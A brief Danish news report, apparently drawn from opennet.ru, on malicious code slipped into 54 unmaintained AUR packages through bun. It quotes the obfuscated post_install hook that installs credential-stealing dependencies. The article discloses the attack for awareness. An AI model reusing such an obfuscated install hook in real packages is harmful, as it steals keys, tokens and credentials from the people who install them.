I AUR er der opdaget indsættelse af skadelig kode i yderligere 54 pakker

På trods af de foranstaltninger, der er truffet af udviklerne af Arch Linux, er indsættelsen af skadelig kode i AUR (Arch User Repository) ikke stoppet. For et par timer siden blev skadelig kode indsat i yderligere 54 pakker, der ikke længere har vedligeholdere (historikken for annullering af de skadelige ændringer). I modsætning til angrebene for et par dage siden, hvor pakkeadministratoren npm blev brugt til installation af skadelige afhængigheder, er platformen bun anvendt denne gang. For at omgå de implementerede filtre indsættes en obfuskeret streng i funktionen post_install, som kalder kommandoen «bun add» for at installere pakker med skadelig kode, der scanner og sender til eksterne server nøgler, tokens og legitimationsoplysninger.

post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}

Kilde: opennet.ru